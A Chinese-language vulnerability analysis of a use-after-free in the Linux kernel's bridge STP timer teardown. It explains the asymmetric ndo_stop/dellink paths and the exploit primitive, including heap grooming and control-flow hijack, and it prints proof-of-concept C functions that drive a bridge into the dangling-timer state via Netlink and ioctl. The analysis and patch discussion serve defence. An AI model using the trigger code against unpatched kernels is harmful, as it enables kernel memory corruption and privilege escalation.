Linux kernel 刪除 bridge 不等於安全!
摘要
報告針對 Linux 核心橋接子系統中的 use-after-free (UAF) 漏洞進行技術分析,此漏洞特別影響 Spanning Tree Protocol (STP) 計時器的實作
[1]
。此缺陷源於非對稱的拆卸路徑(Asymmetric teardown path),在橋接器刪除後 STP 計時器仍留在佇列中,導致
kmalloc-cg-8k
快取發生 slab 損壞。我們的分析涵蓋根本原因、雙路徑拆卸不對稱性(Dual-path teardown asymmetry)、攻擊操作(Exploit primitive),以及取自已揭露的概念驗證中的代表性程式碼路徑。
1. 簡介
Linux 軟體橋接器驅動程式提供多個網路介面之間的第二層轉發。當啟用核心 STP 時,驅動程式會透過週期性計時器維護每個橋接器的 STP 狀態,包含
hello_timer
、
tcn_timer
、
topology_change_timer
以及每個連接埠的計時器。這些計時器直接內嵌在
struct net_bridge
中,而該結構體位於橋接器
net_device
的私有資料區域內。因此,STP 計時器的生命週期嚴格綁定於
net_device
的設定。任何在計時器仍處於佇列狀態時釋放該裝置的執行路徑,都會構成 use-after-free 的條件。類似的計時器生命週期不符問題,也曾在其他核心子系統中被觀察到,其中非同步回呼的存活時間超過了其底層物件
[2]
。
2. 根本原因分析
此漏洞源於兩條拆卸路徑在計時器清理上呈現不對稱性。當 STP 啟用且連接埠轉換為
LEARNING
狀態時,配備路徑會呼叫
br_stp_enable_bridge()
和
br_port_state_selection()
,但沒有
IFF_UP
防護。這使得即使橋接器處於管理關閉狀態,計時器仍能被啟動。第一條路徑
ndo_stop
透過
br_dev_stop()
和
br_stp_disable_bridge()
處理 UP 到 DOWN 的轉換,該路徑會透過
del_timer_sync()
同步刪除每個 STP 計時器。第二條路徑
dellink
則在直接刪除橋接器連結時觸發
br_dev_delete()
。這個路徑從未呼叫
br_stp_disable_bridge()
,且
unregister_netdevice_many()
對於已處於 DOWN 狀態的裝置會完全跳過
ndo_stop
。如果橋接器保持 DOWN 狀態、核心 STP 啟用且某連接埠處於 LEARNING,計時器會被排入佇列,但在
free_netdev()
釋放底層
net_device
之前從未取消。
2.1 拆卸路徑順序
no IFF_UP guard present Attacker->>Kernel: SIOCSIFFLAGS: bring bridge DOWN Note over Kernel: bridge now DOWN, timers still armed
br_stp_disable_bridge() NOT called Attacker->>Kernel: RTM_DELLINK: delete bridge Kernel->>Kernel: br_dev_delete() -> free_netdev() Note over Kernel: net_device freed, STP timers still queued! Timer->>Kernel: __run_timers() fires dangling timer Kernel->>Kernel: call_timer_fn() dereferences freed slab
UAF triggered on kmalloc-cg-8k
3. 攻擊操作分析
當 dangling 的計時器在 softirq 環境中的
__run_timers()
觸發時,
call_timer_fn()
會以
RDI
暫存器指向已釋放的計時器串列來執行計時器函式欄位。這產生了一個強大的
net_device
,其中嵌入橋接器的
net_bridge
作為私有資料,而該結構體本身又包含 STP
timer_lists
。由於這些計時器會在幾秒後自動觸發,因此 heap grooming 的時機窗口具有足夠的可預測性以利可靠利用。在 Netlink 訊息解析中,整數溢位與長度欄位處理不當已被證明可為核心網路子系統提供互補的攻擊操作
[3]
,這突顯了網路堆疊更廣泛的攻擊面。
4. 程式碼分析
概念驗證利用 Netlink
RTM_NEWLINK
和
RTM_DELLINK
訊息來協調橋接器的生命週期操作。以下我們分析建立此漏洞狀態的五個關鍵函式。
4.1 bridgeStpSet — 啟用核心 STP
此函式建構一個 Netlink 訊息,透過巢狀
IFLA_INFO_DATA
屬性來設定
IFLA_BR_STP_STATE
以啟用 STP。它封裝了
linkAttrSet
,後者會建立核心橋接器驅動程式所需的巢狀 rtattr 結構。
- char * bridgeStpSet(const char *name, __u32 enable)
- {
- /* Build a Netlink message to set IFLA_BR_STP_STATE. */
- /* The attribute is nested inside IFLA_INFO_DATA, which itself */
- /* is nested inside IFLA_LINKINFO. This matches the kernel's */
- /* expectation in br_changelink() when parsing bridge options. */
- return linkAttrSet(name, "bridge", IFLA_BR_STP_STATE,
- sizeof(__u32), &enable);
- }
4.2 bridgePortStateSet — 強制 LEARNING 狀態
此函式發送一個
RTM_SETLINK
訊息,使用
AF_BRIDGE
家族與
IFLA_PROTINFO
來強制連接埠進入
LEARNING
狀態,直接對應到核心中的
br_set_port_state()
。值為 2 的
BR_STATE_LEARNING
會觸發計時器配備路徑,而不檢查橋接器是否處於管理啟動狀態。
- char * bridgePortStateSet(const char *iface, __u8 state)
- {
- struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
- req->nlh.nlmsg_type = RTM_SETLINK;
- req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
- req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
- /* AF_BRIDGE is required for bridge port attribute operations. */
- /* This directs the message to the bridge driver's port handler */
- /* rather than the generic device configuration path. */
- req->ifi.ifi_family = AF_BRIDGE;
- req->ifi.ifi_index = if_nametoindex(iface);
- /* IFLA_PROTINFO carries the port state directly. */
- /* When state == BR_STATE_LEARNING (2), the kernel arms */
- /* the STP hello timer even if IFF_UP is not set. */
- req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
- (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
- IFLA_PROTINFO, sizeof(__u8), (char *)&state));
- return (char *)req;
- }
4.3 bring_interface_down_up — 管理狀態轉換
此函式使用
SIOCSIFFLAGS
ioctl 切換
IFF_UP
旗標,將橋接器轉換為 DOWN 狀態。因為在此攻擊情境中橋接器從未 UP,或者因為對已 DOWN 的裝置執行 down 轉換不會觸發
ndo_stop
,所以
br_stp_disable_bridge()
清理常式被完全繞過。
- int bring_interface_down_up(const char* ifname, int up)
- {
- struct ifreq ifr = {0};
- int sock = socket(AF_INET, SOCK_DGRAM, 0);
- if (sock < 0)
- return -1;
- strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
- /* Retrieve current flags so we only modify IFF_UP. */
- int res = ioctl(sock, SIOCGIFFLAGS, &ifr);
- if (res < 0)
- return -1;
- if (up)
- ifr.ifr_flags |= IFF_UP;
- else
- ifr.ifr_flags &= ~IFF_UP;
- /* Apply the new flags. When clearing IFF_UP on a bridge that */
- /* is already DOWN, unregister_netdevice_many() later skips */
- /* ndo_stop, so br_stp_disable_bridge() is never reached. */
- res = ioctl(sock, SIOCSIFFLAGS, &ifr);
- if (res < 0)
- return -1;
- close(sock);
- return 0;
- }
4.4 bridgeDel — 觸發 Dellink 路徑
此函式發送
RTM_DELLINK
請求以刪除橋接器,呼叫
dellink
路徑進而呼叫
br_dev_delete()
。與
ndo_stop
路徑不同,
br_dev_delete()
不會同步刪除 STP 計時器,導致在
free_netdev()
之後仍有排入佇列的計時器 dangling。
- char * bridgeDel(const char *name)
- {
- /* RTM_DELLINK triggers the dellink teardown path. */
- /* The kernel calls br_dev_delete() -> unregister_netdevice_many() */
- /* -> free_netdev(). Because the device is already DOWN, */
- /* ndo_stop (and thus br_stp_disable_bridge) is skipped. */
- return linkDel(name);
- }
- char * linkDel(const char *name)
- {
- struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
- req->nlh.nlmsg_type = RTM_DELLINK;
- req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
- req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
- req->ifi.ifi_family = AF_UNSPEC;
- req->ifi.ifi_index = if_nametoindex(name);
- return (char *)req;
- }
4.5 linkAttrSet — 通用巢狀屬性建構器
此輔助函式建構
bridgeStpSet
所使用的巢狀 rtattr 結構。它串聯
IFLA_LINKINFO
→
IFLA_INFO_KIND
→
IFLA_INFO_DATA
→ 實際屬性,符合核心對於橋接器設定的 Netlink 策略。
- char * linkAttrSet(const char *name, const char *kind,
- __u16 attr_type, size_t attr_size, void *attr_value)
- {
- struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
- req->nlh.nlmsg_type = RTM_NEWLINK;
- req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
- req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
- req->ifi.ifi_family = AF_UNSPEC;
- req->ifi.ifi_index = if_nametoindex(name);
- /* IFLA_LINKINFO nests the driver-specific configuration. */
- struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
- li->rta_type = IFLA_LINKINFO;
- li->rta_len = RTA_LENGTH(0);
- /* IFLA_INFO_KIND identifies the driver ("bridge"). */
- li->rta_len += RTA_ALIGN(add_rtattr(
- (size_t)li + li->rta_len, IFLA_INFO_KIND,
- strlen(kind) + 1, (char *)kind));
- /* IFLA_INFO_DATA carries the driver-specific attribute. */
- struct rtattr *data = (struct rtattr *)((size_t)li + li->rta_len);
- data->rta_type = IFLA_INFO_DATA;
- data->rta_len = RTA_LENGTH(0);
- data->rta_len += RTA_ALIGN(add_rtattr(
- (size_t)data + data->rta_len, attr_type, attr_size,
- (char *)attr_value));
- li->rta_len += RTA_ALIGN(data->rta_len);
- req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);
- return (char *)req;
- }
5. 緩解措施與修補
供應商已釋出修補程式,確保在
dellink
拆卸路徑中同步刪除計時器,從而彌補了非對稱清理的缺口
[1]
。從防禦角度來看,此漏洞突顯了在所有物件銷毀路徑上維持一致資源生命週期管理的重要性。靜態分析工具與核心記憶體清理器(如 KASAN)在開發期間對於偵測 UAF 條件仍然至關重要。其他核心子系統中也曾記錄過類似的 race-condition 驅動 UAF 模式,其中信號傳遞與 socket 狀態轉換交錯
[2]
,這更加強化了在網路程式碼中徹底審查拆卸路徑的必要性。
6. 結論
研究顯示,Linux bridge STP 計時器的 UAF 問題源於
ndo_stop
與
dellink
拆卸路徑之間的生命週期不對稱。由於在計時器啟動時缺少
IFF_UP
保護,再加上
dellink
路徑中遺漏了
br_stp_disable_bridge()
,導致 STP 計時器仍然存在於已釋放的
net_device
上。這種原始漏洞利用方式能透過 slab 重用進行控制流程劫持,說明了核心物件銷毀路徑中看似微小的差異,如何升級成嚴重的權限提升攻擊向量。上游修補程式透過統一兩條路徑的計時器清理來解決此問題,凸顯了『每一條物件銷毀路徑都必須維持等效的資源釋放保證』這一原則。